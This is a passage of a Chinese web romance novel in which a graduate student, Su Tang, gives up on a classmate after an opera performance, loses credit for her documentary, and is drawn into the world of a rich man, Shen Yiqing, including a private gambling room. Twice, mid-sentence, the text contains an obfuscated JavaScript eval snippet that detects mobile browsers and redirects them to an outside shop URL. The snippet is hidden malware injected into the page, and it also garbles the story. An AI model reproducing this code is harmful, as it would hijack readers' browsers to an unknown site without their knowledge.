林睿正和女友说说笑笑迎面走来,几人视线猝不及防相对,互相愣了一秒,最后还是苏棠主动打了招呼。 林睿的态度不太自然,似乎在刻意避嫌,简短两句话后就搂着新女友亲密的往外走。 米朵站在原地回头看,他似乎在哄人,低下头在女友耳边不知说了句什么话,引得对方正娇俏的伸手打他。 她神色有些玩味,偏过头暗自看了眼苏棠的神色,并没有什么异常。 等到了宿舍里没有外人,她才敢开口八卦。 “那就是林睿的新女友?也不怎么样嘛,还没你好看。” 苏棠不说话,只是走到饮水机旁接了杯水递给她。 米朵接过灌了两口,继续问。 “哎你们俩到底怎么回事!之前不是走得挺近的嘛,一天天的,不是一起出去吃饭就是一起约课看书,戏曲社里有活动都是形影不离的,怎么突然他就有新女友了,我以为你两好事将近了呢!现在的人都这么朝三暮四,三心二意的吗?” 苏棠咬着唇,沉默几秒。 “你别乱说,就是普通的同学关系,都在一个戏曲社,平时走得近了些,现在人家有新女友了,你以后别再乱来。” 米朵赧然。 以前关系好时几人常一起吃饭,她不免总爱开两人的玩笑,看他们都不在意,以为互相有意,说话也总爱胡来。 “他法学的,也是明年毕业吧,听说他新签了红圈所的实习生,新女友还是系主任的女儿,你知道不?” 苏棠一愣。 “不知道,不了解。” 这话硬邦邦的,米朵敏锐察觉到好友情绪不对,不再继续说,换了话题。 “听说新一届的‘后浪’纪录片招募大赛又要开始报名了,我看了下时间,正好可以和毕设一起准备,并不冲突,你毕设的选题怎么样了,要不趁这次机会,干票大的,这次主办方邀请了舫舟老师,听说奖金比前些年高出几倍,还有隐藏大奖,万一获奖了名气打开,毕业的时候连工作都不用愁了,一举三得,你要不要和我一起报名?” 这倒是件难得的喜事,苏棠心情雀跃起来。 “快把链接发给我!” 她看完报名资料几乎没有犹豫,但摆在面前的又有一个难题,苏棠开始发愁。 “我上次拍片租的相机坏了,赔了些钱,设备的问题暂时没钱解决。” 米朵疑惑。 “姜唯山不是说会给你拨助研费吗?” 苏棠咬牙没说话,她因为二作的事闹了一阵,助研费院上是批了一些下来,可姜唯山最近一推再推,总是和她打太极。 米朵看出她的为难,丝毫没有迟疑。 “我借你!得奖了还我就行!” 她对她,总是那么信任。 苏棠想了想,没有立即推拒,看了看时间,急匆匆准备出门。 “我要去趟戏曲社,下午还有场演出。” “啊?!你还没退出吗?” 苏棠人已经到了走廊上,冲她回头。 “最后一次!” * 苏棠算去得晚,她虽然戏份重,但表演次数多了,倒也得心应手,换了戏服后坐在化妆台等人上妆。 她这人爱好并不多,对戏曲的兴趣还来自简素芳,老人年纪大,走过漫长的大半个世纪,对现在兴起的各种电视剧不怎么喜欢,还是偏爱那个年代的东西。 家里的电视台常年都停在戏曲频道,苏棠从小耳渲目染,也是为了博老人开心,潜移默化中倒是真的对这类传统文化爱起来了,考研到这里来,入学被学长学姐一顿忽悠,招架不住热情,就一头热的加入。 她和林睿也是这么认识的。 他总演生,她总演旦,风度翩翩的法律系才子,逐渐也就陷了进去。 林睿比她来得早些,男女主的化妆间是一起的,对方的妆面已经完成一半。 两人并肩而坐,一改常态,并没有什么交流 唱的是大登殿的王宝钏,苦尽甘来和昭阳公主封正宫的戏。 那冠很好看,也很重,苏棠有些喘不过气,不知是因为对戏的人,还是被凤冠压的。 从武家坡开始演,她一路给大家展示王宝钏挖野菜、被调戏,到最后看见有帝王之相的薛平贵,再到薛平贵平步青云。 室内关了灯,台下黑影重重,朦胧一片。 ...... “说什么儿夫我照看” “可怜你受苦一十八年” ...... 台上咿咿呀呀的走戏,西皮流水板密集的响。 沈逸清陪着李雪英坐在下面,眼神紧盯着台上。 女人总是以各种姿态出现,给他各种惊喜。 过了许久,台下响起热烈的掌声,女人站在中央和一排人弯腰谢场。 巴掌似的小脸红粉白面,凤衣水袖,绝代风华。 戏服繁重,走回后台的路上苏棠小心翼翼,身后有一串脚步声追过来。 “苏棠!” 林睿在不远处叫她。 暗红色的幕帘高挂,瀑布似的倾泄下来,狭窄细长的通道里视线昏暗。 对方看着她欲言又止。 “我有话给你讲,卸完妆一起吃个饭?”怕她拒绝,又说,“就我和你。” 苏棠愣在原地,提着裙边侧身沉默看他,那目光意味深长,隔了好半晌才回话。 “不了,我还有事。” 她转身要走,又被叫住。 “苏棠!我——” “林睿!” 他欲言又止的话立即被她打断,苏棠的语气透着千里之外的客气和疏离。 “林睿、你不是薛平贵,我也终究当不了王宝钏。” 一语双关的话将男人打在原地。 苏棠回过身越走越远,下一秒走进尽头人声嘈杂的更衣间。 她明白。 明白他的选择,也明白他的虚伪、迂腐和自私势力。 他选了他认为重要的,抛弃了他认为没用的。 她不怪他。 可她终不是王宝钏,她不会有王宝钏的恋爱脑,也做不来苦守寒窑十八年换富贵,更做不到和别人共享一个男友。 那些欲言又止的暧昧,将破未破窗户纸,从此化作过眼云烟。 从未有过一个正式的开始,但两人心知肚明。 她喜欢过他,他也为她心动过,不过也到此为止了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747757|145355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后,舞台边缘。 沈逸清一言不发站在台侧看完这场闹剧,挑起幕帘的食指缓缓放下。 林睿出来时并没有发现隐在帘后的人,满面春风往外走,笑着奔向不远处等待他的女人,两人肩并肩挽手离开,一副甜蜜情侣模样。 沈逸清侧身倚在墙边,目光紧锁在林睿身上,盯着两抹远走越远的背影若有所思。 半晌后他点了一根烟,眯着眼睛慢慢抽,耐心等着人出来。 苏棠慌慌张张,边看表便从里面冲出来,根本没有在意通道旁还有人。 “着什么急!” 走到半路,身后突然传来一道熟悉的男音。 她猛地回头,男人抱手倚在墙面,正笑吟吟的看她。 她睁大眼,满是意外。 “你怎么在这。” 男人站直身子,长腿一迈,视线盯着她,慢慢靠过来。 “等你。” 明晃晃的直白,白得让人心脏莫名的漏了一拍。 苏棠闻言一怔,摸不着头脑,一双杏眼睁大,呆愣愣看他。 沈逸清被她这幅表情逗乐,到了身前亲昵的拍了拍她的头。 “逗你呢、” “陪我姥姥看场戏。” 什么戏?棠猛地一愣。 只能是她刚才这出。 突然想到他可能刚才就坐在台下,她心中莫名窜起一股羞怯的情绪,更多的是不好意思,心中下意识就开始当场复盘,今天的妆面有没有问题,台词有没有说错,声腔有没有走调。 又一想,心中骇然,紧声问。 “你姥姥....不会是李雪英吧?” 她记得今天的嘉宾名单,虽有好几位戏曲家,但年纪对得上的就只有李雪英。 一张小脸紧张兮兮又惊诧不已的昂首对着自己,沈逸清十分沉迷于她这副模样。 他没立即回答,过了几秒才轻笑着点了点头。 看出她的窘迫,他出声安抚。 “别紧张,她对你们的评价还不错,还调侃呢,要不是年纪大了,真想收你们做徒弟。” 这话玩笑的成分居多,苏棠没接,但总之今天班门弄斧没出丑,心里顿时放松下来。 两人并肩往外走,虽然不顺路,但沈逸清撒了小谎,苏棠顺其自然的上了他的车。 “你......换车了?” 苏棠看着身前的十字车标有些意外。 林肯领航员,低调精致,和男人的气质很搭。 “没、” 沈逸清给她开了车门。 “之前坏了,修了一阵,借我姥爷的开两天,太扎眼,还回去了。” 稀松平常的口吻,苏棠没说话,蓦的一下想起那个招风的车牌号。 似乎冥冥之中命运总有定数,台球厅后,两人就总是相遇。 男人总在各种地点毫无征兆的出现,两人总是各种碰巧的见面,没有任何借口,没有任何理由,总是这样一次又一次的出现。 而且,他的声音总觉得有几分熟悉。 “其实、我一直有个问题想问你。” 苏棠看向沈逸清后期期艾艾的开口,生怕自己接下来的问题冒犯到他,有硬拉乱套攀附的嫌疑。 沈逸清耐心十足的看她一眼,若有若无的噙着笑,好声好气的回她。 “嗯、你说。” 7. 第 7 章 “我们之前是不是在哪里见过?” 沈逸清一愣,脑中瞬间浮现第一次见面,女人站在电梯里呆头呆脑的样子,轻笑。 “对、”他肯定的看着她,“你们学校有人跳楼那天,行政楼的电梯里。” 苏棠垂下眸子,努力回想。 那天姜唯山要抢她论文署名,她一天都浑浑噩噩,只恍惚记得电梯里有人提醒她按电梯。 原来那人是他。 车内干干净净,像是才从洗车店里出来,有一股淡淡的古龙香。 苏棠坐上副驾驶,动作有些拘谨,半晌没摸到安全带,警报器一直响个不停,感受到男人的扫过来的目光,她脸颊渐渐有些发烫,又羞又窘。 车子点了火却没动,沈逸清打量着人。 白嫩的耳垂泛红。 她真的很容易害羞。 看着她手足无措,他眼神里有几分打趣。 包容的笑意令苏棠更加手忙脚乱,掌心一溜,那带子又弹回原处,脸越发红。 下一秒,座椅轻响,男人倾身过来。 冷冽的松木香、像冷泉,似有似无的将她包围。 动作一如既往的绅士,保持正常又礼貌的距离,并没有刻意的暧昧停留或不合时宜的触碰。 车里静静的,有一股淡淡的燥热在流动。 明明他什么也没有做,明明两人的相处界限分明、克制有礼,可苏棠还是忍不住心跳漏了一拍。 微弱的按扣声响起,身前一紧,男人撑起身子坐回位置。 晃眼一过,苏棠发现了点别的东西。 下意识想打破车里的沉默,即使随便说点什么。 “.....你的衣服.....” “啊?” 沈逸清疑惑,闻言偏头盯她一眼,继而低头自视两秒。 他今天没去公司,陪了一天老人,穿得很休闲,是很简单的风衣外套。 “不好看吗?” 他问完,笑吟吟的看着人。 “所以...还是喜欢西装多一些?” 貌似没什么特别的话,苏棠脑中却犹如一道白光劈过。 ‘唰’的一下,她的脸涨的通红。 台球那晚她和秦诗的聊天.....原来他什么都看到了! 脑子里全是她和秦诗的露骨对话,那一堆赤着上身的男模写真照,她说喜欢正装男的话...... 尴尬到无地自容,不知道他看去多少。 苏棠急红脸。 “不、我不是那个意思?” 沈逸清手指随意的敲击着方向盘,有意逗她,目光耐人寻味。 “那个意思是什么意思,我没说什么啊。” 苏棠赶紧做贼心虚的岔开话题,抬手指了指。 “你肩膀这里脏了。” 声音很低。 哦..... ——原来是这意思。 沈逸清噙着笑,侧过肩,肩头处一小片灰白的污痕,应该是刚才等她时靠在墙上不小心蹭到的。 他抬手随意拍了拍,又把肩膀递过来。 “干净了吗,还有没有?” 苏棠小心翼翼的抬起食指点了点,并不落到实处。 “这里还有些。” “那你帮我拍拍,我看不见。” 他模样坦荡,倒像真的只是请她顺手帮个忙,苏棠没有乱想。 微弱的拍打声在密闭的空间里间断响起,每一次落掌都带着男人后肩上若有若无的温度。 很正常、很礼貌、很客气。 可偏偏又无比暧昧。 苏棠的心随着掌心,一次次的幽微抬起,又一次次的轻轻落下,仿佛在跳舞。 到了陆屿的台球厅,沈逸清亲自将人送了上去。 陆屿这人产业多,这栋楼有室内高尔夫球场和各色娱乐场所,特意开了一层做台球厅似乎纯粹是为了喜好,这地界也俨然是几人的秘密基地,三五几天就会在这里聚一次。 今天倒来了个稀客。 楼梯上遇见,沈逸清看着人笑。 “小明星追到手了,有时间过来?” 时越挑眉不满,意正言辞纠正他的错误。 “是大明星。” “行行行、大明星”沈逸清笑。 “那酒你们喝完了?没给我留点儿?” 沈逸清打趣他,“你什么没有,还惦记这一瓶酒,没了!想喝让颂恩再给他老子去要。” 齐家那个冷面老佛爷,跟陆振霆有得一拼,对着谁都是一张冷厉威压的脸,他可没有那么大的胆子。 时越沉默着,眼光扫到他身后跟着的人,表情一愣。 两人一前一后的进来,虽看起来不很亲昵,但他直觉情况有些不对。 收回视线,他眼神玩味盯着沈逸清。 “会玩啊,没想到你也来这一套。” 晃晃悠悠的语气,拖着截意味深长的尾音,耐人寻味。 苏棠跟在回头,时越打量的眼神让她有些不舒服,但不太确定这不对劲是不是针对自己。 她和他毕竟是第一次见面。 苏棠不说话,礼貌的冲人笑笑,抬脚越过两人往更衣室走,自从米朵有腿伤后,她的工作就暂时由她代替,没过多久,陆屿就亲自找她谈话,给她调高了工资。 苏棠有些意外,也有一些开心。 但打开微信看着和沈逸清的对话框,又觉得有些别扭。 ——聪明的孩子有糖吃。 明明只是一行字,却好像带着男人说话的温度,俏皮中裹挟着一丝宠溺。 苏棠专注的盯着屏幕,心中起了丝猜疑,她有些不太确定。 不太确定突然涨高的工资是不是男人递过来的糖。 如果是的话,他把她当做什么人来看待呢。 她没来由的想起棋社里,他让她答应他一个条件。 心脏忽的一阵狂跳,紧接着,耳垂多了一点驼红。 脑中混混沌沌,喝了酒般迷糊。 ...... 午夜12点。 换了衣服,苏棠乱七八糟绞做一团,低着头从更衣室出来,正要走却被楼上的陆屿叫住。 “哎!” “先别走。” 他没叫她的名字,喊完又拍拍手示意所有员工围过来。 “上个月说好的团建请客没去成,今晚补上。” 苏棠并不知道这事,她不在他们的员工群里。 到了楼下,陆屿安排了几辆车,但是随便怎么坐,总多出来一个人。 苏棠名字在最后被念到,理所当然被剩到最后。 他淡淡的扫了她一眼,那态度十分随意,看样子并没有什么刻意对待。 “就剩你一个,也别浪费一个车子,坐我们这边吧。” 说完陆屿上了主驾驶,时越和沈逸清考虑到可能喝酒,本能的就不打算开自己的车。 时越一来就捡了副驾驶的位置,倒免得苏棠独自一个女生为难。 只是这样又面临另外一个问题。 她得独自和沈逸清坐在后排,陆屿的车有挡板,后面完全是一个私密的空间,她......她得和那男人独自相处一路。 苏棠心里闪过一丝别扭,有点不情不愿的上了车。 车窗紧闭,空间很宽,可对于此刻的苏棠而言,算是逼仄。 男人独自坐在里面,一进去,她就瞬间感觉到气氛有些莫名的暧昧。 早知道推掉聚餐走了最好。 苏棠心里十分后悔,可现下她只能咬咬牙硬着头皮关上车门。 沈逸清坐在靠窗的位置,低头正在玩手机,忽然座位另一头沉了一下,偏头看过去。 抬眼间,女人紧张兮兮的模样,隔他老远坐着,左右车窗,一人一边,中间隔了大片距离,躲他一样。 他淡淡勾了勾唇,不露声色的笑。 “你.....是不是有些怕我?” 心尖像被树叶扫过,轻颤了下,苏棠一愣,下意识的接话。 “没。” 不是怕,具体是什么,她也云雾缭绕的搞不清。 车厢内诡异的安静下来,过了几秒,那头的男人轻笑着拍了拍身边的位置,低笑出声。 “坐过来些,又不会吃了你。” 这话刚完,他敏锐的注意到女人的睫毛抖了两下,背瞬间变得僵直。 过了几秒,苏棠还是乖巧的挪了位置,但中间依然还能坐下一个人。 沈逸清看着小心翼翼又拘谨的人,觉得有趣又好笑,没再为难她。 忽的一个急弯,苏棠没稳住身形,失控的往左边倒。 肩头撞上肩头,她红着脸急急坐直。 “对不起。” “没关系。” 车子隔音极好,周围静静的。 避免再次意外,苏棠手掌撑在座椅边缘,男人也收了手机,一样的动作,不止有意 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“你也玩,要和同事建立感情嘛!不会喝酒就不喝,你输了喝汽水。” 苏棠扫了一圈,人人面前的杯子都是酒。 她有些不好意思。 “这样不太好吧?” 陆屿一愣,随即脑子转了下。 “那就不喝酒了。” 他随手放倒一个空的红酒瓶。 “玩玩破冰游戏!” 气氛慢慢暧昧的潮热起来。 接下来的好几场,象征秘密的瓶口所幸始终没有转到苏棠面前来,反观周围,女生一个个被捉弄得面色通红。 她听着一个个露骨的问题有些不知所措,好几次中途想要退出。 沈逸清不知道什么时候已经离开了座位,走到苏棠身后站着。 时越暗自看了眼人,顿时起了坏心思,转瓶子的力度用得十分刁巧。 转得越来越慢的瓶子,角度越来越接近自己,苏棠心里瞬间警铃大作,面色慌张,表情慌乱,一副等着判刑的不安样,丝毫不知道身后站了个人。 沈逸清盯着她侧脸。 女人目不转睛的盯着桌子,如临大敌,脸上绷紧的每一寸肌肤都在告诉他,她很害怕接下来的问题。 纯白得带有圣洁味道的礼品盒,拉开丝线、拆开包装的必须是自己。 沈逸清嘴角浮着似有似无的笑意。 他盯上的东西,怎么能容忍被人染指。 一个问题也不行。 一切的答案、一切的服从、一切畏惧和讨好,主导者都只能是自己。 瓶口成了慢动作,终于快停下,像宣判的法槌。 苏棠从未被问过问题,包间里突然安静下来,紧张又刺激,周围人看热闹似的秉着一口气,只生生等着那瓶口对准她。 翘首以盼的等着等着,希望却落了空。 一声低不可闻的低笑响起,下一秒,桌上摆成一排的空酒瓶乒乒乓乓的倒成一片。 “哟!不好意思~” 沈逸清举起手佯装道歉,那模样当真不是故意。 “我有些渴,想倒杯酒喝喝。” 时越和陆屿四目相对,无声的碰了个眼神,了然于胸。 一群女生虽然觉得有些败兴,但谁也不敢有怨言。 沈逸清倒满一杯酒。 “我道歉,全喝了。” 他什么身份,她们什么身份。 就算他不喝这杯酒,也不敢有人说什么,更何况他这样主动赔礼,更找不到错处。 沈逸清喝了酒并没有离开,站在苏棠身边加入了他们。 直到散场前,象征秘密的瓶口只对准了苏棠一次。 是沈逸清亲自转的。 他的问题很清白,简单得令在场的人都很意外。 苏棠一颗心高高吊起,男人目光沉沉的盯着她,缓缓开口。 他问她。 “你多大了?生日是多久?” 始料不及,苏棠吃了一惊,心却稳稳的降落到安全位置,呆愣愣的与他对视。 0923。 她的生日。 才说出口,时越和陆屿就是一愣,随即不约而同的大笑起来,仿佛这是一个笑话。 他们笑什么? 苏棠感到奇怪,偏头看向沈逸清。 “这日期.....有什么问题吗?” 8. 第 8 章 收到米朵转账的那一天,苏棠下了课就冲进相机租赁店。 吃了上次的亏,这次她小心翼翼,犹豫再三还是决定选择一个不那么贵的相机,相较于美食类和自然类的拍摄,人物类的纪录片,一般的清晰度也足够用。 刚出店门,米朵的电话就打了过来。 “听说了没有!” 她语气十分激动。 “你那纪录片得了特等奖,院里领导肯定高兴坏了,我一进校门就见呼啦一片挂着庆祝的横幅,据说今晚要开庆功宴,你接到通知没有!论坛里都炸开了,摄影系好久都没发生这么有面的事,明年的招生文案又有了,我刚才碰着了姜唯山满面春风的从校长办公室出来。” 苏棠早已看开了,她再有怨气,生活也得往前走,语气恹恹的。 “已经不是我的纪录片了,导演组名单挂的是鲍柔。” 米朵失望又不屑的‘嘁’了一声,像是为她抱不平。 “庆功宴总有你的份吧!听说舫舟老师也要来,真是大开眼界,好想去现场看看啊,神一样的人物,听说真人比照片上还帅,好想一睹真容!” 苏棠看了看微信,姜唯山上午发给她的消息只给了餐厅定位。 舫舟要来,她并不知道。 “正要去,在路上。” 米朵兴奋的怂恿她。 “到时候悄咪咪给我拍张舫舟老师的生活照,我做屏保!拜拜神!保我顺利毕业!” 幼稚极了,可苏棠笑,连声答应。 酒楼隔学校有点距离,她看了看时间,不得不打了个车过去。 国家纪录片学院奖,还是特等,影响力非同寻常,这次的庆功宴甚至惊动了校长陆水。 苏棠仍然没有上主桌,同样的事情似乎再次上演。 这哪是庆功宴,明明是她的鸿门宴,这屋里知根知底的人都知道,她就是这屋里最大的那一个笑话。 为他人做嫁衣的笑话。 唯一的不同是,这次桌上再也没有了白酒,主桌也只随意摆了瓶红酒,学生坐的位置全是果汁。 苏棠有些意外。 陆水的旁边坐着舫舟,舫舟的旁边是纪录片的导演鲍柔,再顺下去就是姜唯山和一些院领导。 两桌有些距离,苏棠想了想,自己实在是没有那个条件完成米朵交代的任务,手机始终规规矩矩的摆在桌上,没有打开相机。 那边攀谈声热火朝天,苏棠坐在座位上静静地听。 “国内的人物类纪录片因为很多问题,好的题材并不好拍,大的纪录片整体市场也很孱弱,没有钱赚就让很多人少了行动力,鲍同学是因为什么想到拍这样一个题材呢?灵感来源是什么?有没有想过万一不顺利的话,很有可能像我一样被各大平台下架,以后都没有人敢要你的作品。” 舫舟的嗓音很特别,有些清澈的少年气,但声线又很沉稳,问出的问题很尖锐。 这个摄影系里封神的男人,苏棠是第一次见到真人,不经意的一瞧,模样太年轻,气质却很老成。 他身边的鲍柔有些紧张,又或是心虚,开口的时候没多想,只是随口敷衍,也只能敷衍,毕竟她甚至不懂这部作品到底想要表达什么东西。 “我没想那么多,就觉得挺有趣的,想拿镜头记录一下,我也没想到居然会得奖。” 很愚蠢的回答,苏棠几乎想笑。 主桌的各色领导心里顿时倒吸一口凉气。 说好听点是自谦,不好听就是在骂舫舟是瞎子,让这样一个人拍的东西得奖,或是仗势自己天赋异禀,得意忘形。 显然,男人愣了下,眼底藏着一丝失望。 “故事里的那些人你还在联系吗?” 这回换鲍柔愣住,她哪有那种闲工夫。 “没有、没有联系,拍完就不再往来了。” 舫舟看着眼前的女孩,名牌包包、名牌衣服、名牌首饰,妆面似乎为了这宴会特意准备,连头发丝儿都精致得一丝不苟。 他笑。 “我有联系,我去那些地方拜访过每一个主人公。” 他一见这部作品就非常喜欢。 镜头从一个观察者的角度,以京北市郊区的邙山为轴心,客观的记录了整个山区的繁荣、颓败、新建和遗弃,以及在城市化进程中裹挟的各类小人物悲欢。 佛儒文化、信仰,和当地的风土人文完美的契合在一起,整部作品只有一个小时,几乎没有一句解说词,由士、农、工、商、山、水六部分组成,采用章回小说体报幕,把各类底层人物的各色小故事串在一起,主人公有神棍、小姐、乞丐、摊贩、挑山工,甚至还有智障老人,猎奇又文艺,荡气回肠,还透露着一股似有若无的匪气和侠气,给他的感觉很玄妙。 片子一经上报评奖,就在各种专家组里引起阵不小的轰动,人人震撼,都不太相信这出自一个学生之手。 拍摄者一定是个具有深厚文化底蕴且耐心十足的人,时间横跨的维度将近三年。 虽以貌取人不好,但舫舟看了看身旁一言不发的女孩,直觉告诉他,这东西不可能出自她手。 接下来的席面鲍柔如坐针毡,生怕舫舟再问她什么问题,但很意外,对方没再开口。 苏棠垂着眸子,听完两人的攀谈,起身离开去洗手间,出来的时候在走道上碰见个意外的人。 舫舟似乎喝了酒,立在走道窗户旁吹风,他长得清秀,身材又高,一身白色的缎面新中式松松泛泛罩在身上,被夜风吹得轻微浮动,背影飘逸出尘的清冷。 微长的头发,后脑勺扎着个俏皮的小揪,一点也不娘气,倒显得有几分青春活力。 说到底,这人似乎年纪还比她小些。 苏棠突然想起媒体之前的传言,说舫舟的家世并不简单,天生神童的思维总是和常人不太一样,还未成年时他就差点出家,虽然被家里压下来,但走的路子也与常人不同,不读书、不经商,倒是拍起了纪录片,一鸣惊人。 年少技惊四座,功成名就后也不过二十多岁的年纪。 两人隔着几米远,苏棠呆站在他身后,愣了半晌,鬼使神差的冲那背影开口。 “‘佛眼低垂处,生死皆疲劳’。” 舫舟蓦的一下转身,指间赫然夹着根烟。 这反差太大,苏棠冷不丁呆了两秒,继而又说。 “这就是《窥邙》的灵感,没有太多,只是作家的一句话。” 起心动念,她就磕磕绊绊的拍了三年。 片子不再属于她,鲍柔回答不了的问题,她替了,也知足了。 两人对视两秒,苏棠转身离开。 “你是?” 身后有问声传来,她原地顿了顿身,并没有回答,反而疾步走了。 苏棠没有再回席面,径直下楼,远处的夜色里有两抹熟悉的身影。 陆水越走越近,男人拿过一样东西递给她,声音不远不近的传来。 她听到男人唤她‘姑姑’。 苏棠偏头离开,没走多远,身后一阵熟悉的车流声由远及近,再下一秒,直接刹在了她身旁。 沈逸清从车窗里探出头来。 “好巧!” 真的好巧。 苏棠想,两人的相遇为什么总是在她失意狼狈的时候。 “巧。” 她随声附和,兴致不高。 沈逸清盯着人,这小东西今天似乎又不知道从哪里受了气,一脸的不高兴。 “吃过饭没?陪我吃点儿?” 苏棠本想说吃过了,但是下腹的响声又过于响亮,那种名利场的饭菜几乎不合胃口,她没吃任何东西。 那串突兀的咕噜声后,车里传来阵低沉的闷笑,苏棠脸在发烧,不得不手脚麻利的爬上车。 鲍柔从酒楼下来,开车刚出停车场就看见她往副驾驶钻,扫了眼林肯车头那熟悉的车牌,心里瞬间五味杂陈。 目光复杂的盯着两人离开,绿灯亮起,后面响起一串响亮的喇叭声她才回神。 * 沈逸清没有把她往普通的餐厅带。 车子七拐八绕,走过最繁荣的核心城区,居然停在一座复古的小洋楼面前。 看着欧式建筑的外表,苏棠有些疑惑。 “不是吃饭吗?” 沈逸清笑。 “就是吃饭。” 她跟着他往里面走,慢慢发现别有洞天。 外面看着是一栋上了年纪的复古洋楼,里面却大有深意。 是吃饭,但是不止他们两个人。 餐桌上的人她都熟悉,时越、陈牧寒、陆屿。 除了陈牧寒身边坐着一个女伴,其他两人身边都空空如也。 似乎是好朋友之间最私密的聚会,苏棠站在原地,一下有些手足无措。 陆屿是她老板,除了工作场合,这还是两人第一次私下见面。 “坐啊!愣着干嘛!” 陆屿抬头看她,并不意外。 沈逸清走到桌前,随意挑了个位置坐下,又把旁边的椅子拉开,动作自然极了,没说一句话,苏棠自觉的走过去。 饭菜都很清淡,味道也好,但苏棠有些拘谨,端着架子,没敢多吃,饱是饱了,却没尽兴,饭后她要走,沈逸清却不让,推着她的后腰将人拎上了二楼。 苏棠一进来才发现,这地方居然是个隐秘的赌/场。 厚重的蓝色天鹅绒窗帘垂下来直达地面,别说是晚上,就算是白天,估计也见不到外面一点光,现在正灯火通明,亮如白昼。 苏棠跟着沈逸清一路走,进了一个贵宾包间,他回头,问她会不会麻将,见她摇头,对面几人闻言有些扫兴。 “那玩牌总会吧!” 苏棠点点头,谨慎的答,“会一点儿。” 沈逸清笑。 “就看大小而已,够用了。” 苏棠被他按在座位上的时候还在挣扎。 “你来吧!我真的不太会!” “怕什么,你就算把把输,他也付得起。” 陆屿看着人打趣。 “你别把自己输给他就好。” 似是而非的话一下令苏棠想起棋社那天和沈逸清的赌局,腾的一下,没来由红了脸。 “怕害羞的小姑娘,你别逗她。” 沈逸清瞥一眼人,轻笑,替她解围。 他懒懒散散坐在她椅子的扶手上,一只手绕过椅背随意的搭在她右肩,那动作仿佛圈着她,亲昵又暧昧。 一桌人默契的看着他的动作,都沉默不语,眼神一个比一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747759|145355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个耐人寻味。 温热的掌在苏棠肩头不轻不重的捏了两下,安抚的语气随意又纵容。 “不怕,输赢都算我的。” 稀松平常的口吻,像是把什么都不放在眼里。 对面几人闻声一乐,先是陆屿大笑开。 “看老子不把上个周输给你的都拿回来!” 沈逸清不痛不痒看他两眼。 “都是一家人,我的就是你的,惦记那么清干嘛。” 陆屿不服。 “那你现在退给我。” 沈逸清闭嘴不言,只吊儿郎当勾着笑,模样有点淡淡的挑衅和不屑,邪性极了,苏棠没见过男人这样,一下有些呆,下一秒他拆了纸牌塑封递到眼前来,让她洗牌。 陈牧寒也没有上桌,坐在他带来的女伴身边,只是看。 几人打牌的姿态也很意思。 时越看牌的时候不太爱讲话,整个人安安静静的,总是猝不及防就给人来一把大的,像只老谋深算的狐狸,一旁的陆屿咋咋呼呼,无论输赢都很吵闹,但并不在乎钱,张口闭口都在说自己的运气,似乎他最在乎的就是运气,至于陈牧寒带来那个女人,除了催促陆屿出牌外也不怎么爱讲话。 一圈老手,只苏棠一个新人,每次出牌犹犹豫豫,几人都耐着性子刻意等她,打了几圈大家摸到她的调子,最后干脆连她手里还剩什么牌都能猜出来,输了个底穿。 她不懂他们口中算钱的点数是什么意思,只是时不时不安的看沈逸清一眼,对方姿态悠悠然,示意她放宽心。 她从他随意的态度里只能模糊猜测,输掉的金额或许不大。 就这样混了一个多小时,苏棠有些不好意思了,借口有些累换沈逸清上。 第一把,发来的牌沈逸清并不立马提起来,只是合起来堆成一叠。 发牌完毕,他单手一合拿起来捏在手里,递到苏棠面前,冲她笑。 “来,你开开牌,试试我今晚的运气。” 对面的几人闻言全都一滞,随即不约而同的将目光投向苏棠,眼神里带着一抹玩味。 “算了吧,刚才你也看见了,我的手挺霉的。” 沈逸清坚持。 “那是你的牌,这次试试我的。” 苏棠坐在他椅子的扶手上,两人挨得近,替他理牌时不免要弯腰。 肩头碰着肩头,她的手握上他的手,温热的肌肤相贴,姿势说不出的暧昧。 沈逸清好整以暇的垂着眼,盯着她耳垂那抹幽微的粉红,鼻尖有淡淡的茉莉香,衬衫低垂的领口敞开,一镜到底出卖女生的秘密。 黑色的。 喉结下意识的滑了一下,他挪开眼。 一股躁动莽撞的气流蹿过小腹下去,他几不可闻的动了动身子,和她拉开距离。 AKQ打头的顺子。 沈逸清慢慢看着纤细嫩白的手指一寸寸捏开牌面,脸上的笑容由淡转浓。 陆屿一看这表情就知道不妙。 “艹!又是一个幸运女神。”他冲一桌人抱怨,“怎么他妈我带来的女人就没有这样的!” ‘又’。 苏棠敏锐的捕捉到这个字,愣神半秒,没来由想到酒吧里自己那个受到取笑的生日日期,她的疑问,最终没有得到答案。 人在出神,沈逸清突然偏头看她,笑得宠溺。 “这把你开的牌,赢的归你。” 她刚才可是输了不少,沈逸清没找她算账,这钱她不敢要,连忙推拒。 “真的......不要?” 沈逸清眼神紧盯着她,似乎在给她最后的机会。 苏棠还是摇头,见她坚持,男人也没强求,不要就不要。 最后散场的时候清账,苏棠惊掉下巴。 开头那一阵,她几乎输掉了沈逸清那辆车。 心底倒抽一口凉气,模糊算了一把她替他开牌那次,心里又开始心惊。 赢的相当于她整个大学的学费。 这金额大到令她震惊,甚至有点后怕。 后怕自己若真的接了那笔钱..... 他们这群人无一不是高门显贵的公子哥,行事潇洒、纸醉金迷,随意一场牌,就是她一辈子都赚不到的数字,而她只是个连相机赔款都捉襟见肘的女学生。 